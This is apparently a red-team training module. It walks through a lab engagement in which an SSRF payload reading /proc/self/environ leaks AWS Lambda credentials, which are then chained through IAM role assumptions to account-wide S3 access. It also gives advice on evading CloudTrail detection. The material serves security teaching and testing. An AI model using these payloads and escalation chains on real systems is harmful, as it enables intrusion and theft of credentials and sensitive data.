When output is generated by a large language model (LLM), please note that it may differ from the examples provided in the Learning Module. LLMs generate responses probabilistically, so the same prompt may result in variations in wording, structure, or tool selection each time it is run. The focus should be on the overall behavior and the accuracy of the actions or information, rather than an exact match of the text. As long as the model produces the desired outcomes, the technique is functioning correctly, even if your screen output does not precisely align with ours.

In the previous Module, we compromised the AI/ML supply chain by poisoning code repositories, model checkpoints, training data, and tokenizers. Those attacks targeted what gets deployed. In this Module, we target where it gets deployed.

Organizations are running AI models as production services behind load balancers, inside Kubernetes clusters, and across multi-cloud environments. This adoption has outpaced security maturity.

In this Learning Module, we focus on AI infrastructure, the systems and services that support the deployment and operation of AI models in production.

This infrastructure introduces an attack surface that blends traditional cloud, container, and networking vulnerabilities with risks specific to the AI ecosystem. We'll examine the common patterns used to deploy AI solutions in production and analyze the attack vectors each one exposes.

We'll work through two engagements in this Module. The first targets Megacorp One AI's cloud infrastructure on AWS, where a consultant project for St. Hubbins Hospital exposes an SSRF vulnerability that we chain through IAM role assumptions to reach model registries, training data, and production secrets. The second targets Ridgeline Autonomous, whose ML inference platform runs on Kubernetes. Starting from a spearphished engineer's kubeconfig, we escalate through service account tokens, escape container boundaries on GPU hosts, and pivot across the cluster. A capstone exercise combines both environments into a single end-to-end engagement.

This Learning Module covers the following Learning Units:

Cloud Service Misconfigurations
Container and Orchestration Exploits

Cloud Service Misconfigurations

In this Learning Unit, we'll explore how misconfiguration in cloud-managed AI services can introduce vulnerabilities that attackers can chain together to abuse other components of the AI/ML stack.

This Learning Unit covers the following Learning Objectives:

Exploit IAM and Access Control Weaknesses in Cloud ML Services
Access Exposed Endpoints and Data Stores
Discover Leaked Secrets and Credentials

Architecture Overview

Cloud architecture directly shapes the attack vectors available during an assessment. Understanding the common deployment patterns is a prerequisite for targeting them effectively.

Every deployment looks a little different, but the same basic patterns show up across cloud providers. Their documentation explains these patterns clearly and in detail.

AI deployments typically use a combination of services that support the core components of an ML system: (More about AI/ML Deployment Components)|Explain each of the five AI deployment components: Training Infrastructure, Model Registry and Artifact Storage, Inference Servers, Consuming Applications, and Supporting Services. Describe each component's role and provide an example of cloud services that support them Figure 1: AI Deployment Components

On top of these components, cloud providers usually offer a fully managed service that brings all of them together. The table below summarizes the key services offered by AWS, Azure, and GCP by category.

Figure 2: AI/ML services offered by major cloud providers

These managed services abstract away much of the underlying infrastructure and provide a unified control plane for the full ML lifecycle. At the same time, they also introduce a large attack surface through their APIs, IAM roles, and integration points with other cloud services.

This "managed service" nature also introduces a challenge for a red team. A mandatory step in any assessment involving cloud services is setting up boundaries between the cloud provider and the customer responsibility. Depending on the service, the scope of responsibility can vary, but in general, the cloud provider is responsible for the security of the underlying infrastructure, while the customer is responsible for securing their data, access controls, and configurations. (More about Shared Responsibility Model)|Explain me the shared responsibility model of cloud providers and its relevance when planning security assessments.

Once the scope of responsibility is well identified, we can start looking for misconfigurations and vulnerabilities in the customer's domain. Overly permissive roles, exposed endpoints, and leaked credentials are common across cloud AI/ML deployments, and we'll learn how to find and exploit each of them in the following Learning Units.

Identity and Access Management weaknesses

Please check the attached video named iam_weaknesses_01.mp4

Let's assume we are performing a red team assessment against Megacorp One's AI division. During this engagement, we discovered an AI project developed as a consultant service for St. Hubbins Hospital, using AWS services to train and serve a patient experience analysis model. The infrastructure spans multiple IAM roles, S3 data stores, a model registry, and a patient-facing web application, all running in a single AWS account.

Currently this lab expires after one hour. You will be prompted to extend the lab, 10 minutes before it expires.

During our initial reconnaissance, we identified a patient portal with an /api/export endpoint that accepts a template_url parameter. This endpoint is vulnerable to Server-Side Request Forgery (SSRF), allowing us to read the Lambda function's environment variables and extract AWS credentials.

kali@kali:~$ <cu>curl -s "https://APIGATEWAY_URL/prod/api/export?template_url=file:///proc/self/environ" | jq -r '.report' | tr '\0' '
' | grep -E '^(AWS_ACCESS_KEY_ID|AWS_SECRET_ACCESS_KEY|AWS_SESSION_TOKEN|BACKEND_ROLE_ARN|SAGEMAKER_ENDPOINT)='</cu>
AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEDkaCXVzLWVhc3Qt...
AWS_SECRET_ACCESS_KEY=Bl1FnI+DGg89kMBh4UF1XmdmZfO3DqkPzdZ989fH
AWS_ACCESS_KEY_ID=ASIAXYKJVV3XAMCKCAIG
BACKEND_ROLE_ARN=arn:aws:iam::533267328750:role/DataScientistRole
SAGEMAKER_ENDPOINT=sthubbins-pea-endpoint

kali@kali:~$ <cu>export AWS_ACCESS_KEY_ID=ASIAXYKJVV3XAMCKCAIG</cu>

kali@kali:~$ <cu>export AWS_SECRET_ACCESS_KEY=Bl1FnI+DGg89kMBh4UF1XmdmZfO3DqkPzdZ989fH</cu>

kali@kali:~$ <cu>export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEDkaCXVzLWVhc3Qt...</cu>

kali@kali:~$ <cu>export AWS_REGION=us-east-1</cu>

kali@kali:~$ <cu>aws sts get-caller-identity</cu>
{
    "UserId": "AROAXYKJVV3XKCZMPDSRV:pea-portal-handler",
    "Account": "533267328750",
    <cr>"Arn": "arn:aws:sts::533267328750:assumed-role/pea-portal-lambda-role/pea-portal-handler"</cr>
}

Listing 1 - Extracting AWS Credentials via SSRF and Confirming Access

The SSRF gave us a full dump of the Lambda environment, including temporary AWS credentials and references to internal services. After exporting the credentials, we confirmed they are valid with get-caller-identity.

The sts:GetCallerIdentity endpoint is an infallible way to validate credentials. We don't need any permissions to call it, and it works even if the IAM policy explicitly denies it. However, it generates noise in CloudTrail logs that defenders could be monitoring. If we already know the credentials come from a running Lambda function, they are almost certainly valid and we can skip this call entirely. Alternatively, we can call an endpoint we expect to succeed and infer the identity from the response or error message.

With valid credentials in hand, our next step is to understand the permissions attached to this identity. Tools like pacu and ScoutSuite can enumerate permissions automatically, but they use a brute force approach that generates significant noise. In a red team engagement where stealth matters, we'll leverage the information we already collected to guide our actions instead.

From the SSRF output, we already have several useful leads. The environment variables reveal a SageMaker endpoint name, an S3 bucket in a report template URL, a DynamoDB table, and a BACKEND_ROLE_ARN pointing to a role called "DataScientistRole". Let's organize what we know.

Variable	Value
`SAGEMAKER_ENDPOINT`	`sthubbins-pea-endpoint`
`BACKEND_ROLE_ARN`	`arn:aws:iam::533267328750:role/DataScientistRole`
`REPORT_TEMPLATE_URL`	`https://megacorpone-sthubbins-sagemaker-32953eae.s3.amazonaws.com/config/report-template.html`
`DYNAMODB_TABLE`	`sthubbins-pea-feedback`

From this, we know that the Lambda function is calling an inference endpoint, and it's getting files from an S3 bucket. These are services we can start targeting.

By interacting with the patient portal, we know this Lambda can reach the inference endpoint. But can we reach other endpoints in the same account? That would mean broader compromise. We'll check if we can list all SageMaker endpoints to find out. We can apply the same logic to S3 — if we can list buckets, we can explore their contents.

Ideally, all of these hypotheses and potential attack paths come from a threat modeling exercise that we should have done during the reconnaissance phase after identifying the architecture and components in use. We'll discuss threat modeling in more detail in a future Learning Module, but for now, the key takeaway is that we should always be thinking about how the components interact and what permissions are required for each interaction.

The BACKEND_ROLE_ARN variable is worth investigating. It appears in environment variables for one of two reasons: either the Lambda needs to assume that role (sts:AssumeRole) to perform operations, or it deploys other resources and must pass the role ARN (iam:PassRole) during configuration. Both suggest lateral movement opportunities.

In either case, this is a very interesting lead. Let's start by trying to assume the role, since this is simpler to validate.

kali@kali:~$ <cu>aws sts assume-role --role-arn arn:aws:iam::533267328750:role/DataScientistRole --role-session-name "lambda-pea"</cu>
{
    "Credentials": {
        "AccessKeyId": "ASIAXYKJVV3XARVVA5FF",
        "SecretAccessKey": "diS3hfvKmyAaLAj9/JR9jUKkJ0rEyegyuqKA07rZ",
        "SessionToken": "IQoJb3JpZ2luX2VjEGIaCXVzLWVhc3QtMSJIMEYCIQCR7JY1+fD0SzA0hVEDLDSkHACWeh0j65OqYjm0TkWYdgIhAPrmKRS/o5bpOBo4qjnKu6zfCEl9yZjCA485FyeppnzQKo8CCCoQABoMNTMzMjY3MzI4NzUwIgyjJRXf6QV8X5wJtLYq7AEzdUaM4F0RAfquvWdzt/6PmmHRnzigd0e42A94IJ1HyOMMui6//Yl0w0HtHToCqBuPwxrnCR/Z5U0Os5Ormg3wH2lWfLExJqFmocmBDxdclbYXJ6gTZzMQQ4F5jxOvbfwDJwvzSgZB7xBsDJZrDT/dcPmu3/fQisxbHjSUBJZd1hF6DSb/0Jrk20XCtkwNNkAGz6d68fcZFtnssORNpjLSvJYYBzgQtuZZ2mgUXCJ7PWEOcLEzD6VLzTbjFbE5K13NO4tNnmzw6YEvGNtVpssg3qeyOiDN0UosrSMl1gX5B5hXf2qtB7GO7sQF0DDo/IHNBjqcAZLIBnbBYPOYR85Jj8lqWnwjjcrKHxjFS2N2yqk99JtF3DZj9FHg1tGjLyH3BhaK05Yls5Mr3+2PuxtGZrcSGI+nIYeyRHPUj/jwXKr/X8DRA0C1de2g3BowRQ96aze8M4TJN9Oqpn7pdDnuB9jWElTUQdZJjFBCYJ3fH5Lvq5hd6o3k6IvzkukfID1gNXoWRl4EP3d1ZdyIK2vGTA==",
        "Expiration": "2026-02-26T18:10:00+00:00"
    },
    "AssumedRoleUser": {
        "AssumedRoleId": "AROAXYKJVV3XERZB6IFSC:lambda-pea",
        "Arn": "arn:aws:sts::533267328750:assumed-role/DataScientistRole/lambda-pea"
    }
}

Listing 2 - Assuming the DataScientistRole to Check if We Can Escalate Our Privileges

The --role-session-name can be any string that identifies the session. This string appears in the ARN and is also visible in the CloudTrail logs. To stay under the radar, it's a good idea to choose a name that blends in with the environment.

Luckily, we were able to assume the role, which means broader permissions to explore in case we hit a wall with our current credentials.

The role name "DataScientistRole" suggests it has permissions for S3 access (training data, model artifacts) and SageMaker operations. That's where we'll focus our tests.

Let's try SageMaker enumeration first , since the role name suggests data science permissions. The assume-role call gave us a new set of credentials, so we need to export them in a new terminal to run the commands in the context of that role.

kali@kali:~$ <cu>export AWS_ACCESS_KEY_ID=ASIAXYKJVV3XARVVA5FF</cu>

kali@kali:~$ <cu>export AWS_SECRET_ACCESS_KEY=diS3hfvKmyAaLAj9/JR9jUKkJ0rEyegyuqKA07rZ</cu>

kali@kali:~$ <cu>export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEGIaCXVzLWVhc3QtMSJIMEYCIQCR7JY1...</cu>

kali@kali:~$ <cu>aws sagemaker list-endpoints</cu>
{
    "Endpoints": [
        {
            "EndpointName": "sthubbins-pea-endpoint",
            "EndpointArn": "arn:aws:sagemaker:us-east-1:533267328750:endpoint/sthubbins-pea-endpoint",
            "CreationTime": "2026-02-26T16:38:14.370000+00:00",
            "LastModifiedTime": "2026-02-26T16:45:35.574000+00:00",
            "EndpointStatus": "InService"
        }
    ]
}

Listing 3 - Listing SageMaker Endpoints with the DataScientistRole

The enumeration worked, but it only returned the endpoint we'd already seen in the environment variables.

We still have some other endpoints to try; however, this might start raising errors and triggering alerts. One action we could try first is to check if the role has permissions to list its own IAM policies. This will give us a direct map of paths to follow instead of relying on trial and error.

In AWS, identities can have two types of policies: attached (managed) policies and inline policies. Attached policies are reusable and can be shared across identities, while inline policies are embedded directly into a single identity. Both types of policies can be used to allow or deny permissions, and they are evaluated together to determine the effective permissions of the identity. Let's try listing both of them.

kali@kali:~$ <cu>aws iam list-attached-role-policies --role-name DataScientistRole</cu>

<cr>An error occurred (AccessDenied) when calling the ListAttachedRolePolicies operation: User: arn:aws:sts::533267328750:assumed-role/DataScientistRole/lambda-pea is not authorized to perform: iam:ListAttachedRolePolicies on resource: role DataScientistRole because no identity-based policy allows the iam:ListAttachedRolePolicies action</cr>

kali@kali:~$ <cu>aws iam list-role-policies --role-name DataScientistRole</cu>
{
    "PolicyNames": [
        "DataScientistPolicy"
    ]
}

Listing 4 - Enumerating Attached and Inline Policies

We can't list attached policies, but listing inline policies works and reveals a single policy named DataScientistPolicy. Let's read it.

(Analyze the policy)|Break down the policy and identify potential over permissions and escalation paths.

{
    "RoleName": "DataScientistRole",
    "PolicyName": "DataScientistPolicy",
    "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Sid": "SageMakerList",
                "Effect": "Allow",
                "Action": [
                    "sagemaker:List*",
                    "sagemaker:Search"
                ],
                "Resource": "*"
            },
            {
                "Sid": "SageMakerDescribe",
                "Effect": "Allow",
                "Action": [
                    "sagemaker:Describe*"
                ],
                "Resource": "*",
                "Condition": {
                    "StringEquals": {
                        "aws:ResourceTag/Project": "sthubbins-pea"
                    }
                }
            },
            {
                "Sid": "SageMakerNotebookOps",
                "Effect": "Allow",
                "Action": [
                    "sagemaker:CreatePresignedNotebookInstanceUrl",
                    "sagemaker:CreatePresignedDomainUrl",
                    "sagemaker:StartNotebookInstance",
                    "sagemaker:StopNotebookInstance"
                ],
                "Resource": "*",
                "Condition": {
                    "StringEquals": {
                        "aws:ResourceTag/Project": "sthubbins-pea"
                    }
                }
            },
            {
                "Sid": "SageMakerJobSubmission",
                "Effect": "Allow",
                "Action": [
                    "sagemaker:CreateTrainingJob",
                    "sagemaker:CreateProcessingJob",
                    "sagemaker:CreateHyperParameterTuningJob",
                    "sagemaker:StopTrainingJob",
                    "sagemaker:StopProcessingJob",
                    "sagemaker:StopHyperParameterTuningJob",
                    "sagemaker:AddTags"
                ],
                "Resource": "*",
                "Condition": {
                    "StringEquals": {
                        "aws:RequestTag/Project": "sthubbins-pea"
                    }
                }
            },
            {
                "Sid": "SageMakerEndpointInvoke",
                "Effect": "Allow",
                "Action": [
                    "sagemaker:InvokeEndpoint",
                    "sagemaker:InvokeEndpointAsync"
                ],
                "Resource": "*",
                "Condition": {
                    "StringEquals": {
                        "aws:ResourceTag/Project": "sthubbins-pea"
                    }
                }
            },
            {
                "Sid": "PassRoleToSageMaker",
                "Effect": "Allow",
                "Action": [
                    "iam:PassRole"
                ],
                "Resource": "arn:aws:iam::533267328750:role/DataScientistRole",
                "Condition": {
                    "StringEquals": {
                        "iam:PassedToService": "sagemaker.amazonaws.com"
                    }
                }
            },
            {
                "Sid": "IAMRoles",
                "Effect": "Allow",
                "Action": [
                    "iam:ListRoles",
                    "iam:ListRolePolicies",
                    "iam:GetRole",
                    "iam:GetRolePolicy"
                ],
                "Resource": "*"
            },
            {
                "Sid": "AssumeMLOpsRole",
                "Effect": "Allow",
                "Action": [
                    "sts:AssumeRole"
                ],
                <cr>"Resource": "arn:aws:iam::533267328750:role/MLOpsRole"</cr>
            }
        ]
    }
}

kali@kali:~$ <cu>aws iam get-role-policy --role-name DataScientistRole --policy-name DataScientistPolicy</cu>
{
    "RoleName": "DataScientistRole",
    "PolicyName": "DataScientistPolicy",
    "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Sid": "SageMakerList",
                "Effect": "Allow",
                "Action": [
                    "sagemaker:List*",
                    "sagemaker:Search"
                ],
                "Resource": "*"
            },
            {
                "Sid": "SageMakerDescribe",
                "Effect": "Allow",
                "Action": [
                    "sagemaker:Describe*"
                ],
                "Resource": "*",
                "Condition": {
                    "StringEquals": {
                        "aws:ResourceTag/Project": "sthubbins-pea"
                    }
                }
            },
...
            {
                "Sid": "SageMakerEndpointInvoke",
                "Effect": "Allow",
                "Action": [
                    "sagemaker:InvokeEndpoint",
                    "sagemaker:InvokeEndpointAsync"
                ],
                "Resource": "*",
                "Condition": {
                    "StringEquals": {
                        "aws:ResourceTag/Project": "sthubbins-pea"
                    }
                }
            },
            {
                "Sid": "PassRoleToSageMaker",
                "Effect": "Allow",
                "Action": [
                    "iam:PassRole"
                ],
                "Resource": "arn:aws:iam::533267328750:role/DataScientistRole",
                "Condition": {
                    "StringEquals": {
                        "iam:PassedToService": "sagemaker.amazonaws.com"
                    }
                }
            },
            {
                "Sid": "IAMRoles",
                "Effect": "Allow",
                "Action": [
                    "iam:ListRoles",
                    "iam:ListRolePolicies",
                    "iam:GetRole",
                    "iam:GetRolePolicy"
                ],
                "Resource": "*"
            },
            {
                "Sid": "AssumeMLOpsRole",
                "Effect": "Allow",
                "Action": [
                    "sts:AssumeRole"
                ],
                <cr>"Resource": "arn:aws:iam::533267328750:role/MLOpsRole"</cr>
            }
        ]
    }
}

Listing 5 - Reviewing the DataScientistRole Inline Policy

At first glance, this policy is not overly permissive. Most statements are scoped to the sthubbins-pea project through Attribute-Based Access Control (ABAC) tag conditions. The exception is "SageMakerList" — listing actions can't be scoped by resource tag, so this statement lets us enumerate all SageMaker resources across the account. These are read-only actions, but this is still useful for reconnaissance.

Two statements hint at privilege escalation paths. "PassRoleToSageMaker" allows iam:PassRole, but it's scoped to this same role and restricted to the SageMaker service, so it doesn't help us move laterally. "AssumeMLOpsRole" is more interesting — it grants sts:AssumeRole targeting the MLOpsRole, which introduces a new principal we haven't seen yet.

The "IAMRoles" statement also lets us list all roles in the account and read their policies. Let's use that to map out the roles relevant to this ML environment.

kali@kali:~$ <cu>aws iam list-roles --query 'Roles[?starts_with(RoleName, `DataScientist`) || starts_with(RoleName, `MLOps`) || starts_with(RoleName, `SageMaker`) || starts_with(RoleName, `RainyDay`)].RoleName'</cu>
[
    "DataScientistRole",
    "MLOpsRole",
    "RainyDayDataScientistRole",
    "RainyDayVLLMRole",
    "SageMakerExecutionRole"
]

Listing 6 - Enumerating IAM Roles Related to the ML Environment

We found five roles. We can read their policies to understand their permissions and trust relationships, but let's focus on the MLOpsRole, since we already know we can assume it.

Every IAM role has two sides: a trust policy that controls who can assume it, and one or more permission policies that define what the role can do.

Let's start by checking the trust policy.

kali@kali:~$ <cu>aws iam get-role --role-name MLOpsRole --query 'Role.AssumeRolePolicyDocument'</cu>
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": {
                <cr>"AWS": "arn:aws:iam::533267328750:root"</cr>
            },
            "Action": "sts:AssumeRole"
        }
    ]
}

Listing 7 - MLOpsRole Trust Policy Allows Any Principal in the Account

The trust policy allows the account root principal to assume this role. In AWS, a root principal reference like this means any IAM entity in the account can assume the role, as long as their own policy grants them sts:AssumeRole on it. Our DataScientistRole has exactly that permission.

Now let's analyze the permission policy|Analyze this IAM policy from a red team perspective, looking for potential attack paths and over permissions.

{
    "RoleName": "MLOpsRole",
    "PolicyName": "MLOpsPolicy",
    "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Sid": "SageMakerOperations",
                "Effect": "Allow",
                "Action": [
                    "sagemaker:List*",
                    "sagemaker:Describe*",
                    "sagemaker:CreateEndpoint",
                    "sagemaker:UpdateEndpoint",
                    "sagemaker:CreateModel"
                ],
                "Resource": "*"
            },
            {
                "Sid": "SageMakerNotebookManagement",
                "Effect": "Allow",
                "Action": [
                    "sagemaker:CreateNotebookInstance",
                    "sagemaker:UpdateNotebookInstance",
                    "sagemaker:DeleteNotebookInstance",
                    "sagemaker:StartNotebookInstance",
                    "sagemaker:StopNotebookInstance",
                    "sagemaker:CreatePresignedNotebookInstanceUrl"
                ],
                "Resource": "*"
            },
            {
                "Sid": "PassRoleToSageMaker",
                "Effect": "Allow",
                "Action": [
                    "iam:PassRole"
                ],
                "Resource": "arn:aws:iam::533267328750:role/SageMaker*",
                "Condition": {
                    "StringEquals": {
                        "iam:PassedToService": "sagemaker.amazonaws.com"
                    }
                }
            },
            {
                "Sid": "S3ModelAccess",
                "Effect": "Allow",
                "Action": [
                    "s3:ListBucket",
                    "s3:GetObject"
                ],
                "Resource": [
                    "arn:aws:s3:::megacorpone-sthubbins-sagemaker-*",
                    "arn:aws:s3:::megacorpone-sthubbins-sagemaker-*/*"
                ]
            },
            {
                "Effect": "Allow",
                "Action": [
                    "iam:ListRoles",
                    "iam:GetRole",
                    "iam:GetRolePolicy",
                    "iam:ListAttachedRolePolicies"
                ],
                "Resource": "*"
            },
            {
                "Sid": "AssumeSageMakerRole",
                "Effect": "Allow",
                "Action": "sts:AssumeRole",
                <cr>"Resource": "arn:aws:iam::533267328750:role/SageMakerExecutionRole"</cr>
            },
            {
                "Sid": "CloudWatchLogsRead",
                "Effect": "Allow",
                "Action": [
                    "logs:DescribeLogGroups",
                    "logs:DescribeLogStreams",
                    "logs:GetLogEvents"
                ],
                "Resource": "*"
            }
        ]
    }
}

kali@kali:~$ <cu>aws iam get-role-policy --role-name MLOpsRole --policy-name MLOpsPolicy</cu>
{
    "RoleName": "MLOpsRole",
    "PolicyName": "MLOpsPolicy",
    "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Sid": "SageMakerOperations",
                "Effect": "Allow",
                "Action": [
                    "sagemaker:List*",
                    "sagemaker:Describe*",
                    "sagemaker:CreateEndpoint",
                    "sagemaker:UpdateEndpoint",
                    "sagemaker:CreateModel"
                ],
                "Resource": "*"
            },
            {
                "Sid": "SageMakerNotebookManagement",
                "Effect": "Allow",
                "Action": [
                    "sagemaker:CreateNotebookInstance",
                    "sagemaker:UpdateNotebookInstance",
                    "sagemaker:DeleteNotebookInstance",
                    "sagemaker:StartNotebookInstance",
                    "sagemaker:StopNotebookInstance",
                    "sagemaker:CreatePresignedNotebookInstanceUrl"
                ],
                "Resource": "*"
            },
            {
                "Sid": "PassRoleToSageMaker",
                "Effect": "Allow",
                "Action": [
                    "iam:PassRole"
                ],
                <cr>"Resource": "arn:aws:iam::533267328750:role/SageMaker*"</cr>,
                "Condition": {
                    "StringEquals": {
                        "iam:PassedToService": "sagemaker.amazonaws.com"
                    }
                }
            },
            {
                "Sid": "S3ModelAccess",
                "Effect": "Allow",
                "Action": [
                    "s3:ListBucket",
                    "s3:GetObject"
                ],
                "Resource": [
                    "arn:aws:s3:::megacorpone-sthubbins-sagemaker-*",
                    "arn:aws:s3:::megacorpone-sthubbins-sagemaker-*/*"
                ]
            },
            {
                "Effect": "Allow",
                "Action": [
                    "iam:ListRoles",
                    "iam:GetRole",
                    "iam:GetRolePolicy",
                    "iam:ListAttachedRolePolicies"
                ],
                "Resource": "*"
            },
            {
                "Sid": "AssumeSageMakerRole",
                "Effect": "Allow",
                "Action": "sts:AssumeRole",
                <cr>"Resource": "arn:aws:iam::533267328750:role/SageMakerExecutionRole"</cr>
            },
            {
                "Sid": "CloudWatchLogsRead",
                "Effect": "Allow",
                "Action": [
                    "logs:DescribeLogGroups",
                    "logs:DescribeLogStreams",
                    "logs:GetLogEvents"
                ],
                "Resource": "*"
            }
        ]
    }
}

Listing 8 - MLOpsRole Permission Policy

The MLOpsRole is a significant step up. It has read-only S3 access scoped to megacorpone-sthubbins-sagemaker-* buckets, SageMaker operational permissions, and CloudWatch log reading. Two new statements stand out. "SageMakerNotebookManagement" grants full notebook lifecycle control, including the ability to create and start notebook instances on any resource in the account. "PassRoleToSageMaker" allows iam:PassRole on any role matching arn:aws:iam::533267328750:role/SageMaker*. Combined, these mean the MLOpsRole can spin up a notebook instance with the SageMakerExecutionRole attached, giving it a direct path to whatever permissions that execution role holds. The "AssumeSageMakerRole" statement at the bottom confirms this, granting sts:AssumeRole on the SageMakerExecutionRole. The chain continues.

Let's assume the MLOpsRole first and export the new credentials in a new terminal window. We'll keep the old terminal with the DataScientistRole credentials open so we can switch back and forth as needed.

kali@kali:~$ <cu>aws sts assume-role --role-arn arn:aws:iam::533267328750:role/MLOpsRole --role-session-name "pea-deploy"</cu>
{
    "Credentials": {
        "AccessKeyId": "ASIAXYKJVV3X2PEADPLY",
        "SecretAccessKey": "wK8mN3pRtY7vX9qL2jH5fD6gB4cE1aZ8uW0sI3oP",
        "SessionToken": "IQoJb3JpZ2luX2VjEGIaCXVzLWVhc3QtMSJIMEYCIQD...<SNIP>...==",
        "Expiration": "2026-02-26T19:15:00+00:00"
    },
    "AssumedRoleUser": {
        "AssumedRoleId": "AROAXYKJVV3XFPQM7KBCD:pea-deploy",
        "Arn": "arn:aws:sts::533267328750:assumed-role/MLOpsRole/pea-deploy"
    }
}
kali@kali:~$ <cu>export AWS_ACCESS_KEY_ID=ASIAXYKJVV3X2PEADPLY</cu>

kali@kali:~$ <cu>export AWS_SECRET_ACCESS_KEY=wK8mN3pRtY7vX9qL2jH5fD6gB4cE1aZ8uW0sI3oP</cu>

kali@kali:~$ <cu>export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEGIaCXVzLWVhc3QtMSJIMEYCIQD...<SNIP>...==</cu>

Listing 9 - Assuming the MLOpsRole

Instead of using these new S3 or CloudWatch permissions right away, let's look ahead. We already know the MLOpsRole can assume the SageMakerExecutionRole. Let's examine that role's policies before deciding where to go next.

Let's switch back to the DataScientistRole terminal. We know that this role have permissions to list role policies. We'll start with the attached policies.

# DataScientistRole
kali@kali:~$ <cu>aws iam list-attached-role-policies --role-name SageMakerExecutionRole</cu>
{
    "AttachedPolicies": [
        {
            "PolicyName": <cr>"AmazonSageMakerFullAccess"</cr>,
            "PolicyArn": "arn:aws:iam::aws:policy/AmazonSageMakerFullAccess"
        }
    ]
}

Listing 10 - Discovering the Managed Policy Attached to the SageMakerExecutionRole

This is a significant finding. AmazonSageMakerFullAccess is a very permissive AWS managed policy. It grants sagemaker:* plus broad S3, ECR, CloudWatch, EC2, and Lambda access. (More about the AmazonSageMakerFullAccess policy)|Explain what the AmazonSageMakerFullAccess AWS managed policy grants. Cover the key services it provides access. Explain why attaching this managed policy to an execution role is considered over-permissive and how it breaks the principle of least privilege.

Next, we'll check for inline policies.

If we were still under the DataScientistRole the list-role-policies would show us:

# DataScientistRole
kali@kali:~$ <cu>aws iam list-role-policies --role-name SageMakerExecutionRole</cu>
{
    "PolicyNames": [
        "SageMakerExecutionExtra"
    ]
}

Listing 11 - Reading the SageMakerExecutionRole under the DataScientistRole

Since we moved to the MLOpsRole, we get:

kali@kali:~$ aws iam list-role-policies --role-name SageMakerExecutionRole

An error occurred (AccessDenied) when calling the ListRolePolicies operation: User: arn:aws:sts::533267328750:assumed-role/MLOpsRole/pea-deploy is not authorized to perform: iam:ListRolePolicies on resource: role SageMakerExecutionRole because no identity-based policy allows the iam:ListRolePolicies action

Listing 12 - Reading the SageMakerExecutionRole under the MLOpsRole

But we are able to see all the inline policies that are embedded in the role SageMakerExecutionRole.

kali@kali:~$ <cu>aws iam get-role-policy --role-name SageMakerExecutionRole --policy-name SageMakerExecutionExtra</cu>
{
    "RoleName": "SageMakerExecutionRole",
    "PolicyName": "SageMakerExecutionExtra",
    "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Sid": "SSMParameterAccess",
                "Effect": "Allow",
                "Action": [
                    "ssm:GetParameter",
                    "ssm:GetParameters",
                    "ssm:GetParametersByPath",
                    "ssm:DescribeParameters"
                ],
                "Resource": <cr>"*"</cr>
            },
            {
                "Sid": "DynamoDBAccess",
                "Effect": "Allow",
                "Action": [
                    "dynamodb:ListTables",
                    "dynamodb:DescribeTable",
                    "dynamodb:Scan",
                    "dynamodb:GetItem",
                    "dynamodb:Query"
                ],
                "Resource": <cr>"*"</cr>
            },
            {
                "Sid": "APIGatewayEnumeration",
                "Effect": "Allow",
                "Action": "apigateway:GET",
                "Resource": <cr>"*"</cr>
            }
        ]
    }
}

Listing 13 - SageMakerExecutionRole Inline Policy with Additional Permissions

This inline policy adds SSM parameter reading, DynamoDB queries, and API Gateway enumeration on top of the AmazonSageMakerFullAccess managed policy. The MLOpsRole limits S3 access to buckets matching arn:aws:s3:::megacorpone-sthubbins-sagemaker-*, but the SageMakerExecutionRole bypasses those restrictions entirely. It can read, write, and delete objects in any bucket, scan any DynamoDB table, and pull secrets from SSM Parameter Store without resource scoping.

Let's complete the chain. From the MLOpsRole, we'll assume the SageMakerExecutionRole and verify that we now have the access to list buckets, which were denied earlier.

# MLOpsRole
kali@kali:~$ <cu>aws sts assume-role --role-arn arn:aws:iam::533267328750:role/SageMakerExecutionRole --role-session-name "training-run"</cu>
{
    "Credentials": {
        "AccessKeyId": "ASIAXYKJVV3XTRN9RUN7",
        "SecretAccessKey": "mP4kR8tY2vX6qL9jH3fD5gB7cE0aZ1uW4sI6oN8w",
        "SessionToken": "IQoJb3JpZ2luX2VjEGIaCXVzLWVhc3QtMSJIMEYCIQC...<SNIP>...==",
        "Expiration": "2026-02-26T19:30:00+00:00"
    },
    "AssumedRoleUser": {
        "AssumedRoleId": "AROAXYKJVV3XMEXC8RNQP:training-run",
        "Arn": "arn:aws:sts::533267328750:assumed-role/SageMakerExecutionRole/training-run"
    }
}

kali@kali:~$ <cu>export AWS_ACCESS_KEY_ID=ASIAXYKJVV3XTRN9RUN7</cu>

kali@kali:~$ <cu>export AWS_SECRET_ACCESS_KEY=mP4kR8tY2vX6qL9jH3fD5gB7cE0aZ1uW4sI6oN8w</cu>

kali@kali:~$ <cu>export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEGIaCXVzLWVhc3QtMSJIMEYCIQC...<SNIP>...==</cu>

kali@kali:~$ <cu>aws s3 ls</cu>
2026-04-16 16:43:38 megacorpone-pea-site-20260416224337267000000002
2026-04-16 16:43:38 megacorpone-rainyday-sagemaker-911a86db
2026-04-16 16:43:37 megacorpone-sthubbins-sagemaker-911a86db

Listing 14 - Assuming the SageMakerExecutionRole, configuring awscli and listing buckets

The same aws s3 ls command succeeds here, listing three buckets including megacorpone-rainyday-sagemaker-911a86db. This is from a completely different project. We learned that the managed policy's broad S3 permissions grant account-wide access, not just to St. Hubbins resources.

The following diagram shows the complete privilege escalation chain we discovered, from the initial SSRF-leaked Lambda credentials to full account-wide access.

Figure 3: IAM Privilege Escalation Chain from Lambda to Full Access

Each hop in this chain grants progressively more permissions. The real danger is at the end: an AWS managed policy that breaks all project boundaries. With this level of access, we already have the keys to the ML kingdom, which means we can exfiltrate private data and model artifacts.

In the next sections, we'll use the SageMakerExecutionRole to explore the environment in depth and determine what other attack paths we can find, highlighting other common misconfigurations along the way.

